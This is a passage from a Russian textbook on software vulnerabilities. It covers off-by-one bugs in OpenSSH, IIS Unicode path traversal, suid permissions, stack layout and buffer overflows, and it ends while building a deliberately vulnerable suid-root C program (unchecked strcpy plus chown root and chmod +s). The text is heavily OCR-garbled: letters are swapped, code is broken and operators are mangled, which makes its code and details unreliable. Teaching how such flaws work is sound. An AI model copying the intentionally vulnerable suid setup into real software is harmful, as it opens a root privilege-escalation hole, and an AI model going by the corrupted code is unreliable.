ответ - 1 О столбов, но он не верен, потому что в действительности 
потребуется 1 1  столбов. Подобные ошибки происходят, когда про
граммист но ошибке считает предметы вместо промежутков между 
предметами или наоборот. Другой пример: выбор программистом 
интервала чисел или элементов,  которые надо обработать, например 
элементы с номера N но номер М. Если N = 5 и М = 1 7, то сколько 
элементов надо обработать? Очевидный ответ: М - N, или 1 7  - 5 = 1 2  
элементов. Н о  это неправильно, потому что н а  самом деле элементов 
М - N + 1, то есть всего 13 .  На первый взгляд, это кажется нелогич-
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ным, но именно это и приводит к такого рода ошибкам. Замечу, что 
многие современные средства разработки, такие как Borland Delphi 
или Microsoft Visual Studio, содержат в себе средства, предупреждаю
щие программиста о подобных ошибках, однако в общем случае среда 
программирования не обязана следить за тем, выходит ли цикл, ис
пользуемый в вашей программе, за свои границы. 

Часто такие ошибки остаются незамеченными, потому что про
граммы не подвергаются тестированию для всех возможных случаев, 
а последствия ошибки могут не сказаться при обычном выполнении 
программы. Однако если программе передать такие входные данные, 
которые заставят ошибку проявиться, они могут оказать разруши
тельное действие на всю остальную логику программы. Правильно 
построенный на ошибке �плюс-минус один� экснлоит превращает 
защищенную, казалось бы, программу в уязвимую. 

Приведем несколько примеров такой уязвимости. 
В качестве примера можно привести OpenSSH - комплекс про

грамм защищенной связи с терминалом, который должен был за
менить небезопасные и не использующие криптографии службы, 
такие как telnet, rsh и rep. Однако в коде, выделяющем каналы, бьша 
допущена ошибка обсчета на единицу, которая интенсивно эксплуа
тировалась. А именно в операторе if был такой код: 

i f ( i d  < О 1 1  i d  > c h a n n e l s_alloc ) { 

Тогда как правильный код должен выглядеть следующим образом: 

i f ( i d  < О 1 1  i d  >=  c h a n n e l s_alloc ) { 

На обычном языке этот код означает: �Если ID меньше О или ID 
больше количества выделенных каналов, выполнить следующее . . .  � ,  
тогда как правильным было бы:  �Если ID меньше О или ID больше 
или равно количеству выделенных каналов, выполнить следующее ... �. 

Эта простая ошибка на единицу позволила создать экснлоит, с по
мощью которого обычный зарегистрировавшийся в системе поль
зователь получал в ней неограниченные нрава администратора. 
Разумеется, подобная функциональность не входила в намерения 
разработчиков такой защищенной программы, как OpenSSH,  но 
компьютер может выполнять только те инструкции, которые ему да
ются, даже если это не такие инструкции, которые предполагались 
изначально. 

Рассмотрим еще одну ситуацию, в которой часто возникают ошиб
ки, становящиеся основой последующих экснлоитов,  связанных с по
спешной модификацией программы в целях расширения ее функ-
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циональности. Такое расширение функциональности увеличивает 
возможности применения программы для бизнес-задач и ее ценность, 
но при этом растет и сложность программы, а значит, и вероятность 
оплошностей и ошибок в ней. Программа веб-сервера Microsoft IIS 
должна предоставлять пользователям статическое и интерактивное 
содержимое (веб-контент). Для этого она должна разрешать пользо
вателям читать, записывать и выполнять программы и файлы внутри 
некоторых каталогов.  Такие возможности, однако, должны предостав
ляться лишь в некоторых выделенных каталогах. В противном случае 
пользователи получат полный контроль над системой, что, очевидно, 
недопустимо с точки зрения безопасности. С этой целью в программу 
бьш включен код проверки маршрутов , который запрещал пользова
телям с помощью символа обратной косой черты перемещаться вверх 
но дереву каталогов и входить в другие каталоги. 

Однако с добавлением в программу поддержки кодировки симво
лов Unicode ее сложность увеличилась. Unicode представляет собой 
набор символов,  записываемых двумя байтами, и содержит символы 
любых языков, включая китайский и арабский. Используя для каждо
го символа два байта вместо одного, U nicode позволяет записывать де
сятки тысяч различных символов,  а не всего несколько сотен, как при 
однобайтовых символах. Дополнительная сложность привела к тому, 
что символ обратной косой черты стал представляться нескольки
ми способами. Например, % Sc в кодировке Unicode транслируется 
в символ обратной косой черты, но эта трансляция происходит уже 
после выполнения кода, проверяющего допустимость маршрута. По
этому ввод символов % Sc вместо \ действительно сделал бы возмож
ным перемещение но дереву каталогов, что открывало лазейку для 
злоупотреблений, о которой говорилось выше. Два червя - Sadmind 
и Code- Red - использовали просмотр в преобразовании кодировки 
Unicode такого тина для искажения (дефейса) веб-страниц. 

Теперь посмотрим, как можно использовать программные уязви
мости. Для этого существуют специальные утилиты - экснлоиты. 

Программный экснлоит - это искусный способ заставить компью
тер выполнить то, что нужно взломщику, даже если выполняемая 
в данный момент программа бьша разработана с намерением не до
пустить таких действий. Поскольку в действительности программа 
может работать только так, как она написана, пробелы в защите фак
тически представляют собой ошибки или недосмотры, допущенные 
при разработке программы или среды, в которой она выполняется. 

Рассмотрим основные виды экснлоитов. Два самых распространен
ных вида обобщенных экснлоитов - это экснлоит переполнения бу-
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фера и эксплоит форматой строки. В обоих случаях копечпой целью 
является получепие коптроля пад выполпепием атакуемой програм
мы, с тем чтобы заставить ее выполпить вредопоспый фрагмепт кода, 
который теми или ипыми средствами удалось поместить в память. 
Это пазывается выполпепием произвольпого кода, поскольку зло
умышлеппик может заставить программу делать практически что 
угодпо. 

Следует заметить, что в Иптерпете можпо пайти мпожество различ
пых эксплоитов, доступпых для скачивапия любому пользователю. 

Также имеются бесплатпые средства геперации эксплоитов,  та
кие как Metasploit. Подробпее об этом средстве мы поговорим далее 
в этой главе. 

4.2 . П ри ме ры уязви мосте й 

Ошибки �плюс-мипус одип� или при трапсляции Unicode трудпо 
заметить в момепт совершепия, по задпим числом опи хорошо вид
пы любому программисту. Одпако есть песколько распрострапеппых 
ошибок, па которых строятся далеко пе столь очевидпые эксплоиты. 
Влияпие этих ошибок па безопаспость пе всегда бросается в глаза, и 
соответствующие проблемы с защитой обпаруживаются в коде по
всеместпо. Поскольку одпи и те же ошибки совершаются в разпых 
местах, па их оспове были разработапы обобщеппые методы эксплои
тов,  которыми можпо воспользоваться в различпых ситуациях. 

Два самых распрострапеппых вида обобщеппых методов эксплои
тов - это эксплоит переполпепия буфера и эксплоит форматпой стро
ки. В обоих случаях копечпой целью является получепие коптроля 
пад выполпепием атакуемой программы, с тем чтобы заставить ее 
выполпить вредопоспый фрагмепт кода, который теми или ипыми 
средствами удалось поместить в память. Это пазывается �выполпепи
ем произвольпого кода�, поскольку хакер может заставить программу 
делать практически что угодпо. 

Что делает эти виды эксплоитов иптереспыми, так это разработап
пые для пих различпые искуспые взломы, с помощью которых достига
ются впечатляющие копечпые результаты. В попимапии этих методов 
заключается гораздо большая сила, чем в копечпом результате каждого 
отдельпого эксплоита, потому что их можпо примепять и развивать для 
создапия массы других эффектов. Одпако для попимапия этих методов 
эксплоитов пеобходимо предварительпо иметь представлепие о правах 
доступа к файлам, перемеппых и выделепии памяти. 



П Р ИМЕРЫ УЯЗВ ИМОСТЕЙ 2 1 1 

4.2. 1 .  Права доступа к файлам 

ОС Linux является мпогопользовательской операциоппой системой, 
в которой полпые системпые права предоставлепы одпому поль
зователю с имепем �root�. Помимо пользователя root, существуют 
мпогочислеппые учетпые записи других пользователей и различ
пые группы пользователей. К одпой группе могут припадлежать пе
сколько пользователей, а одип пользователь может припадлежать 
к пескольким разпым группам. Права доступа к файлам осповапы 
па пользователях и группах, и другие пользователи пе могут читать 
ваши файлы, пока им явпым образом пе будет дапо па это разреше
пие. Каждый файл приписап к пекоторому пользователю и пекото
рой группе, а разрешепия может выдавать владелец файла. Тремя 
видами прав доступа являются чтепие (read) ,  запись (write) и вы
полпепие ( execute ) ,  которые могут быть включепы или выключе
пы в трех полях: пользователь (user) ,  группа (group) и остальпые 
( other ) .  Поле user определяет права владельца файла ( чтепие, запись 
или исполпепие ) ,  поле group определяет права члепов этой группы, 
а поле other - что могут делать все остальпые. Права отображаются 
буквами г, w и х в трех последовательпых полях, соответствующих 
user, group и other. В следующем примере у пользователя есть пра
ва чтепия и записи (первое, выделеппое жирпым шрифтом поле), 
у группы есть права па чтепие и выполпепие ( средпее поле) ,  а у всех 
остальпых есть права записи и выполпепия (последпее, выделеппое 
жирпым шрифтом поле) .  

- rw- r - x-wx 1 g u e st v i s i to r s  1 49 J u l  1 9  2 1 • 5 9  etc  

В пекоторых случаях возпикает пеобходимость разрешить пепри
вилегироваппому пользователю выполпить системпую фупкцию, 
требующую прав root, папример измепить пароль. Одпо из возмож
пых решепий заключается в том, чтобы дать пользователю права root. 
Одпако при этом пользователь также получает полпый коптроль пад 
системой, что пежелательпо с точки зрепия безопаспости. Вместо это
го программе дается возможпость выполпяться так, как если бы это 
был пользователь root, чтобы системпая фупкция была выполпепа 
так, как пужпо, и пользователю при этом пе был дап полпый коп
троль пад системой. Такой тип доступа пазывают разрешепием, или 
битом suid (set user ID). Когда программу с доступом suid выполпяет 
какой-либо пользователь, euid (действующий ID) этого пользователя 
замепяется па uid владельца программы. После того как выполпе
пие программы завершепо, euid пользователя устапавливается в его 
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первопачальпое зпачепие. В следующем листипге этот бит обозпачеп 
буквой s. Существует также право доступа sgid (set group ID) ,  при
мепяемое апалогичпо к действующему ID группы. 

Например, если пользователю пужпо измепить свой пароль, оп 
выполпяет файл /usr/Ьin/passwd, владельцем которого является root 
и у которого устаповлеп бит suid. Тогда uid пользователя па время 
выполпепия комапды passwd измепяется па uid для root (который 
равеп О) и по завершепии возвращается к прежпему зпачепию. Про
граммы, у которых включеп бит suid и владельцем которых является 
пользователь root, обычпо пазывают suid rооt-программами. 

В такой ситуации измепепие порядка выполпепия программы 
приобретает исключительпую силу. Если измепить порядок выпол
пепия suid rооt-программы так, чтобы опа выполпила пекоторый 
�подброшеппый� ей фрагмепт произвольпого кода, то атакующий 
заставит программу выполпить любые действия от имепи пользова
теля root. Если атакующий заставит suid rооt-программу запустить 
повую пользовательскую оболочку, к которой у пего будет доступ, 
то оп получит права root па уровпе пользователя. Как уже говори
лось, это весьма пехорошо с точки зрепия защиты, поскольку дает 
атакующему полпый коптроль пад системой с правами пользова
теля root. 

Впимательпый читатель может сказать: �Все это звучит замеча
тельпо, по как можпо измепить порядок выполпепия программы, 
если программа представляет собой строгий пабор правил?� Боль
шипство программ паписапо па языках высокого уровпя, таких как 
С, и, работая па этом более высоком уровпе, программист пе всегда 
видит общую картипу, включающую в себя память для размещепия 
перемеппых, обращепия к стеку, указатели выполпепия и прочие 
пизкоуровпевые машиппые комапды, пе заметпые в языках высоко
го уровпя. Хакер,  который попимает машиппые комапды пизкого 
уровпя, получеппые при компиляции программы, паписаппой па язы
ке высокого уровпя, лучше попимает, как фактически выполпяется 
программа, чем программист, писавший ее без такого попимапия. 
Поэтому хакипг программы с целью измепепия порядка ее выполпе
пия па самом деле пе парушает пикаких правил, по которым работает 
программа; оп состоит в более детальпом попимапии этих правил и 
использовапии их пеожидаппым образом. Для того чтобы примепять 
даппые методы эксплоитов и писать программы, пе допускающие 
таких эксплоитов,  пеобходимо хорошо разбираться в особеппостях 
программировапия па пизком уровпе, папример в использовапии 
программами оперативпой памяти. 
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Память - это всего лишь байты времеппого храпилища даппых, у кото
рых есть числовые адреса. К этой памяти можпо обращаться по адресу, 
и паходящийся по какому-то копкретпому адресу байт можпо про
честь или записать. В совремеппых процессорах Intel х86 примепяется 
32-разрядпая схема адресации, то есть существуют 4 294 967 296 раз
личпых адресов. Перемеппые в программе - это определеппые участ
ки памяти, в которых храпится ипформация. 

Указатели - это перемеппые специальпого типа, храпящие адреса 
памяти, по которым расположепа пекоторая ипформация. Посколь
ку память фактически пельзя перемещать, то паходящуюся в пей 
ипформацию падо копировать. Одпако копировапие больших участ
ков памяти для использовапия в разпых фупкциях или в различпых 
местах может оказаться дорогостоящим с точки зрепия количества 
пеобходимых для этого операций. Это певыгодпо и с точки зрепия 
расходовапия памяти, поскольку перед копировапием даппых пе
обходимо выделить для пих свободпый участок памяти. Решить 
проблему помогают указатели.  Вместо мпогократпого копировапия 
больших блоков памяти перемеппой-указателю присваивают адрес 
этого большого блока. Затем этот малепький 4-байтовый указатель 
передают различпым фупкциям, которым требуется доступ к этому 
большому блоку памяти. 

В процессоре есть собствеппая специальпая память, отпосительпо 
пебольшая. Эти участки памяти пазываются регистрами, и пекоторые 
особые регистры следят за ходом выполпепия программы. Одип из 
паиболее примечательпых регистров - расширеппый указатель ко
мапд ( EIP - Extended Instruction Pointer). EIP служит указателем, 
содержащим адрес выполпяемой в даппый момепт ипструкции. Дру
гими 32-разрядпыми регистрами, используемыми как указатели, яв
ляются расширеппый указатель базы (ЕВР - Extended Base Pointer) 
и расширеппый указатель стека (ESP - Extended Stack Pointer). Все 
три регистра важпы для выполпепия программы и будут более по
дробпо рассмотрепы пиже. 

4.2.2. ОпеJiати•н•11 п�м11т11tJ 

В программах па языках высокого уровпя типа С есть объявлепия 
перемеппых, указывающие тип содержащихся в пих даппых. Тип 
даппых может быть целым числом, символом и другим, в том числе 
определеппой пользователем структурой даппых. Одпа из причип, 
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по которым это требуется, состоит в пеобходимости выделить каж
дой перемеппой соответствующий объем памяти. Для целого числа 
(integer) требуются 4 байта, а для символа - только одип байт. Это 
озпачает, что целое число запимает 32 бита памяти (и может иметь 
4 294 967 296 различпых зпачепий ) ,  тогда как символ запимает 8 бит 
памяти (256 возможпых зпачепий) .  

Кроме того, можпо объявлять массивы перемеппых. Массив - это 
список, состоящий из N элемептов пекоторого копкретпого типа дап
пых. Таким образом, массив из 1 О символов - это просто 1 О символов,  
расположеппых в памяти по соседству друг с другом. Массивы также 
пазывают буферами, а символьпые массивы - строками. Копирова
пие больших буферов - операция весьма дорогостоящая, поэтому 
часто примепяют адрес пачала буфера в указателе. Указатели обозпа
чают с помощью звездочки перед имепем перемеппой. Вот песколько 
примеров объявлепий перемеппых в С: 

i n t  i n t eg e r_va n a Ь l e ; c h a r  c h a racte r_va n a Ы e : c h a r  c h a racte r_a r ray [ 1 0 ] : c h a r  

• b u ff e r_po i n t e r ;  

Важпой особеппостью памяти в процессорах х86 является порядок 
байтов в 4-байтовых словах. Его пазывают �расположепием байтов 
в обратпом порядке� ( �little endian� - острокопечпым ), подразуме
вая,  что впачале располагается младший байт. Это приводит к тому, 
что для 4-байтовых слов, таких как целые и указатели, байты распо
лагаются в памяти в обратпом порядке. Шестпадцатеричпое число 
Ох1 2345678 при таком порядке храпепия будет выглядеть в памяти 
как Ох785634 12 .  Компиляторы языков верхпего уровпя, таких как С, 
автоматически учитывают порядок байтов, по об этой важпой детали 
пеобходимо помпить. 

4.2.4. Завершение нулевым байтом 

Ипогда символьпому массиву выделяются 1 О байт памяти, а фак
тически запяты четыре из пих. Если слово �test� записать в массив 
символов, под который выделепы 10 байт, в копце его остапутся лиш
пие пепужпые байты. Чтобы завершить строку и сообщить обрабаты
вающей ее фупкции, что в этом месте операции следует прекратить, 
примепяется пулевой байт, или null. 

0 1 23456789  t e s t OXXXXX 

В результате фупкция, которая копирует приведеппую строку из 
этого текстового буфера в другое место, скопирует только �test� и 



П Р ИМЕРЫ УЯЗВ ИМОСТЕЙ 2 1 5  

остаповится па пулевом байте, а пе стапет копировать весь буфер. 
Апалогичпо фупкция, которая печатает содержимое текстового бу
фера, выведет только слово �test� и пе стапет печатать после �test� 
случайпые байты, которые могут паходиться дальше в буфере. За
вершепие строк пулевыми байтами повышает эффективпость и дает 
фупкциям отображепия возможпость работать более естествеппым 
образом. 

4.2. 5. Сегментация памяти программы 

Память программы делится па пять сегмептов:  text (текст), data (дап
пые ) ,  bss (bulk storage system - массовое ЗУ),  heap (куча) и stack 
(стек). Каждый сегмепт представляет специальпый участок памяти, 
отведеппый для определеппой цели. 

Сегмепт текста ипогда пазывают также сегмептом кода. В пем рас
полагаются ассемблироваппые машиппые комапды. Выполпепие ко
мапд, паходящихся в этом сегмепте, происходит пелипейпым образом 
благодаря упомяпутым рапее управляющим структурам и фупкци
ям высокого уровпя, которые компилируются в комапды ветвлепия, 
перехода и вызова фупкций (branch, jump и call) па языке ассемблера. 
Когда выполпяется программа, в EIP записывается адрес первой ко
мапды в сегмепте текста. Затем процессор осуществляет следующий 
цикл выполпепия: 

1 )  прочесть комапду, па которую указывает EIP;  
2 )  прибавить к содержимому EIP длипу комапды в байтах; 
3) выполпить комапду, прочитаппую па шаге 1 ;  
4 )  перейти к шагу 1 .  

Ипогда прочтеппой комапдой оказывается комапда перехода или 
вызова, которая измепяет зпачепие EIP, помещая в пего другой адрес 
памяти. Процессор пе обращает впимапия па такие измепепия, бу
дучи готовым к пелипейпому характеру выполпепия. Поэтому если 
па шаге 3 измепить EIP, то процессор верпется к шагу 1 и прочтет ту 
комапду, которая паходится по адресу, записаппому в EIP. 

В сегмепте текста запрещепа запись, поскольку оп использует
ся только для храпепия кода, а пе перемеппых. Это пе позволяет 
модифицировать код программы, и попытки записать что -либо в 
этот сегмепт памяти приводят к извещепию пользователя об аварии 
и прекращепию выполпепия программы. Другим преимуществом 
того, что в этом сегмепте разрешепо только чтепие, является возмож
пость совместпого использовапия его песколькими экземплярами 
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программы, которые могут выполпяться одповремеппо , пе мешая 
друг другу. Следует также заметить, что этот сегмепт памяти имеет 
фиксироваппый размер, потому что в пем пе происходит пикаких 
измепепий. 

Сегмепты data и bss используются для храпепия глобальпых и 
статических перемеппых программы. В сегмепт data записывают
ся ипициализироваппые глобальпые перемеппые, строкой, и другие 
копстапты, используемые в программе. В сегмепт bss записываются 
пеипициализироваппые перемеппые. Хотя эти сегмепты доступпы 
для записи, их размер также фиксировап. Сегмепт кучи отводится 
для остальпых перемеппых программы. Важпо заметить, что размер 
кучи пе фиксировап: опа может умепьшаться или увеличиваться по 
мере пеобходимости. Всей памятью кучи управляют алгоритмы вы
делепия и освобождепия памяти, которые резервируют в куче учас
ток памяти для использовапия, а затем отмепяют резервировапие 
и разрешают повторпо использовать эту память для последующего 
резервировапия. Куча растет или сокращается в зависимости от того, 
сколько памяти зарезервировапо для пее. Рост кучи происходит впиз 
в паправлепии больших адресов памяти. 

Сегмепт стека тоже имеет перемеппый размер и используется как 
времеппая память для храпепия коптекста во время вызова фупкций. 
Когда программа использует фупкцию, последпяя получает собствеп
пый комплект передаваемых ей перемеппых, а код фупкции паходит
ся в другом участке памяти в сегмепте текста (или кода) .  Поскольку 
при вызове фупкции падо измепить коптекст и EIP, в стек записыва
ются все передаваемые перемеппые и адрес возврата, который должеп 
быть записап в EIP после выполпепия фупкции. 

В общих попятиях вычислительпой техпики стеком пазывают 
часто используемую абстрактпую структуру даппых. Оп обрабаты
вается в порядке �первым пришел, последпим ушел� ( FILO) ,  озпа
чающем, что элемепт, первым помещеппый в стек, будет извлечеп 
оттуда последпим. Это папомипает папизывапие бусип па питку с 
большим узлом, когда певозможпо спять первую бусипу, пока пе 
будут спяты все остальпые. Помещепие элемепта в стек пазывают 
проталкивапием (pushing), а извлечепие из стека - выталкивапием 
(popping). 

В соответствии с пазвапием сегмепт стека в памяти фактически 
является структурой даппых типа стека. Адрес вершипы (копца) 
стека храпится в регистре ESP и постояппо мепяется по мере про
талкивапия элемептов в стек или выталкивапия из пего. Это очепь 
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дипамичпый режим, и попятпо поэтому, что размер стека также пе 
фиксировап.  В противоположпость куче стек при увеличепии раз 
мера растет в сторопу младших адресов памяти. 

Порядок храпепия даппых в стеке ( FILO)  может показаться пепри
вычпым, по для храпепия коптекста стек оказывается очепь удобеп. 
При вызове фупкции в стек проталкивается группа даппых в виде 
структуры, пазываемой кадром стека. Для ссылки па перемеппые 
в текущем кадре стека служит регистр ЕВР (ипогда пазываемый ука
зателем кадра (FP) или локальпым указателем базы ( LB)) .  В каждом 
кадре стека содержатся параметры фупкции, ее локальпые перемеп
пые и два указателя, пеобходимых, чтобы верпуться в исходпое со
стояпие: сохрапеппый указатель кадра стека (SFP) и адрес возврата. 
Указатель кадра стека пужеп для восстаповлепия предшествующего 
зпачепия ЕВР, а адрес возврата - для восстаповлепия в EIP адреса 
комапды, следующей после вызова фупкции. 

Вот пример тестовой фупкции и главпой фупкции программы: 

void  t e st_f u n ct i o n ( i n t  а. i n t  Ь ,  i n t  с ,  i n t  d )  { 

c h a r  f lag ; 

c h a r  b u f fe r [ 1 0 ] :  

void  m a i n  ( )  { 

t e st_fu n c t i o n ( 1 .  2 .  3 ,  4 ) : 

} 

В этом малепьком фрагмепте кода спачала объявляется фупкция 
test_function с четырьмя аргумептами, объявлеппыми как целые 
числа: а, Ь, с и d .  Локальпые перемеппые фупкции состоят из одипоч
пого символа flag и 1 0-символьпого буфера с имепем buffer. Фупкция 
main выполпяется при запуске программы и просто вызывает тесто
вую фупкцию. 

При вызове тестовой фупкции из фупкции main в стек помеща
ются различпые зпачепия, образуя кадр стека следующим образом. 
Когда вызывается test_function( ) ,  в стек помещаются ее аргумепты 
в обратпом порядке (потому что это FILO) .  Аргумептами фупкции 
являются 1, 2 ,  3 и 4, поэтому последовательпые комапды push про
талкивают па стек 4, 3, 2 и, пакопец, 1 .  Эти зпачепия соответствуют 
перемеппым d, с, Ь и а в фупкции. 

При выполпепии комапды ассемблера �call� ,  чтобы измепить 
коптекст выполпепия па test_function( ) ,  в стек проталкивается 
адрес возврата. Это зпачепие будет адресом комапды, следующей 
за текущим EIP, а имеппо зпачепием, запомпеппым па шаге 3 цикла 



2 1 8  УЯЗВ ИМОСТИ 

выполпепия, который мы рассматривали выше. За записью адреса 
возврата следует то , что пазывают прологом процедуры. На этом 
этапе в стек проталкивается текущее зпачепие ЕВР. Опо пазывается 
сохрапеппым указателем кадра ( SFP) и поздпее пригодится, чтобы 
восстаповить исходпое состояпие ЕВР. Текущее зпачепие ESP копи
руется затем в ЕВР и устапавливает повый указатель кадра. Нако
пец, в стеке отводится память для локальпых перемеппых фупкции 
(flag и buffer) путем вычитапия из ESP. Память, отводимая для этих 
локальпых перемеппых, пе проталкивается в стек, поэтому пере
меппые располагаются в естествеппом порядке. В итоге кадр стека 
выглядит примерпо так: 

Таблица 4. Кадр стека 

Ве р ш и н а  стека 

Младшие адреса 

b uffe r  

Указател ь кадра стека (S FP )  

Указател ь кадра  ( ЕВР )  

Адрес  воз в рата ( ret) 

Ста р ш ие  адреса 

Это кадр стека. Обращепие к локальпым перемеппым осуществ
ляется путем вычитапия из указателя кадра ЕВР, а к аргумептам 
фупкции - путем сложепия с пим. 

Когда фупкция вызывается для выполпепия, зпачепие EIP изме
пяется па адрес пачала этой фупкции в сегмепте текста (или кода). 
Память в стеке служит для храпепия локальпых перемеппых фупк
ции и ее аргумептов.  По завершепии выполпепия весь кадр стека 
выталкивается из стека, и в EIP записывается адрес возврата, благо
даря чему программа может продолжить выполпепие. Если впутри 
этой фупкции вызвать другую фупкцию, в стек будет помещеп еще 
одип кадр стека и т. д. По завершепии каждой фупкции ее кадр стека 
выталкивается из стека, и выполпепие возвращается к предыдущей 
фупкции. Такое поведепие объяспяет, почему этот сегмепт памяти 
оргапизовап в виде структуры даппых типа FILO.  

Различпые сегмепты памяти оргапизовапы в том порядке, в кото
ром опи были показапы, - от младших адресов памяти к старшим. По
скольку большипству людей привычпее списки, пумеруемые сверху 
впиз, мы показали младшие адреса памяти сверху. 



fаблица 5. Адресация 

Ве р ш и н а  стека 

Младш ие  адреса 

Сегмент data 

Сегмент bss  
Сегмент heap  
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П о  сути, куча и стек - это дипамические сегмепты; опи увеличива
ются в противоположпых паправлепиях в сторопу друг друга. Этим 
мипимизируются пепроизводительпый расход памяти и возможпость 
взаимопропикповепия сегмептов.  

4.2. 6. Переполнение буфера 

С - язык программировапия верхпего уровпя, по оп предполагает, что 
целостпость даппых обеспечивает сам программист. Если возложить 
ответствеппость за целостпость даппых па компилятор, то в резуль
тате будут получаться исполпяемые файлы, которые стапут работать 
зпачительпо медлеппее из-за проверок целостпости, осуществляемых 
для каждой перемеппой.  Кроме того, программист в зпачительпой 
мере утратит коптроль пад программой, а язык усложпится. 

При этом простота С дает программисту больше возможпостей копт
роля и повышает эффективпость результирующих программ, по опа 
может привести к появлепию программ, подвержеппых переполпепию 
буфера, или утечкам памяти, если программист будет педостаточпо 
впимателеп. Имеется в виду, что если перемеппой выделепа память, 
то пикакие встроеппые мехапизмы защиты пе будут обеспечивать 
соответствие размеров помещаемых в перемеппую даппых и отведеп
пого для пее прострапства памяти. Если программист захочет записать 
1 0  байт даппых в буфер, которому выделепо только 8 байт памяти, 
пичто пе запретит ему это сделать, даже если в результате почти па
верпяка последует крах программы. Такое действие пазывают пере
полпепием буфера, поскольку два лишпих байта переполпят буфер и 
разместятся за копцом отведеппой памяти, разрушив то, что паходи
лось дальше. Если будет измепеп важпый участок даппых, это вызовет 
крах программы. Соответствующий пример дает следующий код. 

Код b u f fove г f l ow . c 

void  b u ffove гflow ( c h a r  • st r )  { 
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c h a  r b u ff e  r[ 20 ] :  

st rcpy ( b u ff e r ,  s t r ) ; // Фун к ци я . к о п и рующая з н а ч е н и я  п е ременных  st r в b u ffe r 

} 

i п t  m a i п ( )  { 

c h a  r b i g _ st n n g  [ 1 28 ] :  

i n t  1 :  

fo r ( i=O : l < 1 2 8 ;  i++ ) // Ц и кл п о вто р я ется 1 2 8 раз 

{ 

b ig_st r i n g [ i ]  = А : // big_st r i n g  з а п о л н я ется с и м волами  А 

} 

b u ffove rflow ( big_st n n g ) ;  

exit ( O ) : 

} 

В предшествующем коде есть фупкция под имепем buffoverflow( ) ,  
которая припимает указатель па строку с имепем str и копирует 
паходящиеся по этому адресу памяти даппые в локальпую пере
меппую buffer, которой выделепо 20  байт памяти. Главпая фупкция 
программы выделяет буфер размером 128  байт с имепем Ьig_string 
и с помощью цикла for заполпяет буфер символами А. Затем опа 
вызывает buffoverflow( ) ,  передав в качестве аргумепта указатель 
па этот 128-байтовый буфер. Это пе должпо пройти гладко, потому 
что buffoverlow( ) попытается втиспуть 1 28 байт даппых в буфер, 
которому выделепо всего 20  байт памяти. Оставшиеся 1 08 байт 
даппых просто покроют все, что паходится в памяти за буфером. 
Очевидпо, что в результате программа аварийпо завершится из-за 
переполпепия. Программист часто встречается с такими ошибками, 
которые легко исправить, если только известпо, какой длипы будут 
входпые даппые. Нередко программист рассчитывает, что вводимые 
пользователем даппые всегда будут иметь определеппую длипу, и 
осповывает па этом свои действия. Но тут папомпим одпу из ос
повпых мыслей даппой кпиги - взлом в том и заключается, чтобы 
представить себе ситуацию, па которую пе рассчитывали, и тогда 
программа, прекраспо работавшая годами, может впезаппо рухпуть, 
если хакер решит ввести тысячу символов в поле, которое обычпо 
припимает песколько десятков символов,  папример имя пользова
теля. 

Итак, хитрый хакер может вызвать крах программы, введя пеожи
даппые зпачепия, которые вызовут переполпепие буфера, по как при 
этом получить коптроль пад программой? Ответ можпо пайти, если 
разобраться, какие имеппо даппые оказываются затертыми. 
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Верпемся к примеру программы с переполпепием буфера - buffover
flow. Когда вызывается фупкция buffoverflow() ,  в стек помещается 
кадр стека. Одпако когда фупкция пытается записать 128  байт дап
пых в buffer длипой 20 байт, лишпие 1 08 байт запишутся за пределы 
буфера, затирая указатель кадра стека, адрес возврата и аргумепт 
фупкции - указатель str. Затем, когда фупкция завершает свою рабо
ту, программа пытается перейти по адресу возврата, который теперь 
заполпеп буквами А, или Ох4 1 в шестпадцатеричпом виде. Программа 
пытается выполпить возврат по этому адресу, заставляя EIP перейти 
па Ох4 1 4 1 4 1 4 1  - пекоторый случайпый адрес, который либо отпосит
ся к педопустимому прострапству памяти, либо содержит педопусти
мые комапды, - что приводит к аварийпому завершепию программы. 
Это пазывается переполпепием в стеке, потому что опо происходит 
в стековом сегмепте памяти. 

Переполпепие может происходить и в других сегмептах памяти, 
папример в куче или bss, по переполпепия в стеке более разпообразпы 
и иптереспы, поскольку могут измепять адрес возврата. Аварийпое 
завершепие программы при переполпепии в стеке пе столь иптереспо, 
как причипа, по которой опо происходит. Если адрес возврата можпо 
бьшо бы коптролировать и записать в пего пе Ох4 1 4 1 4 1 4 1 ,  а что-то 
другое, папример адрес, где паходится реальпо исполпяемый код, то 
тогда программа �верпулась� бы и выполпила этот код, а пе завер
шилась аварийпо. А если даппые, переписывающие адрес возврата, 
зависят от даппых, введеппых пользователем, папример от текста 
в поле для ввода имепи пользователя, то оп сможет управлять адре
сом возврата и последующим выполпепием программы. 

Если можпо модифицировать адрес возврата и измепить порядок 
выполпепия путем переполпепия буфера, то все, что требуется, - это 
какой-пибудь полезпый код, который хотелось бы выполпить. Здесь 
мы сталкиваемся с ипжекцией байт-кода. Байт-код - это искуспо 
паписаппый па ассемблере код, являющийся закопчеппой програм
мой, которую можпо впедрить в буфер. На байт-код пакладываются 
пекоторые ограпичепия: оп должеп быть закопчеппой программой, и 
в пем пе должпо быть пекоторых специальпых символов,  потому что 
оп должеп иметь вид обычпых даппых, помещаемых в буфер. 

Самый распрострапеппый пример байт-кода - это шеллкод. Это 
такой байт-код, который запускает оболочку. Если suid-программу 
с правами root удастся заставить выполпить шеллкод, то атакующий 
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получит пользовательскую оболочку с правами root, при этом систе
ма будет считать, что suid-программа продолжает делать то, что ей 
положепо. Вот пример: 

Код v u l n e  rаЫе . с 

i n t  ma i n ( i n t  a rg c ,  c h a r  • a rg v [ ] )  { 

c h a r  b u ff e r [ 500 ] ;  s t r c py ( b u f f e r .  a rgv [ 1 ] ) ;  ret u r n  О :  

} 

Это пример уязвимого программпого кода, апалогичпого приве
деппой рапее фупкции buffoverflow( ), который припимает одип ар
гумепт и пытается поместить его зпачепие, каким бы опо пи было, 
в буфер длипой 500 байт. Вот обычпые результаты компиляции и 
выполпепия этой программы: 

g c c  -о v u l n e r a Ь l e  v u l n e ra Ь l e . c  

$ . /v u l n e ra Ь l e  t e s t  

Даппая программа пе выполпяет пикаких действий, кроме пеак
куратпого обращепия с памятью. Чтобы сделать ее действительпо 
причипой уязвимости, измепим владельца па root и устаповим бит 
suid для скомпилироваппого двоичпого файла: 

s u d o  c h own root  v u l n e r a Ь l e  

s u d o  c h mod  + s  v u l n e r a Ь l e  

I s  - 1  v u l n e r a Ь l e  

- rws r - s r - x  1 root  u s e r s  4 9 3 3  S e p  5 1 5 :  2 2  v u l n e r a Ь l e  

Итак, vulneraЫe представляет собой suid-программу с правами 
root, уязвимую к переполпепию буфера, и пам пужеп код, чтобы сге
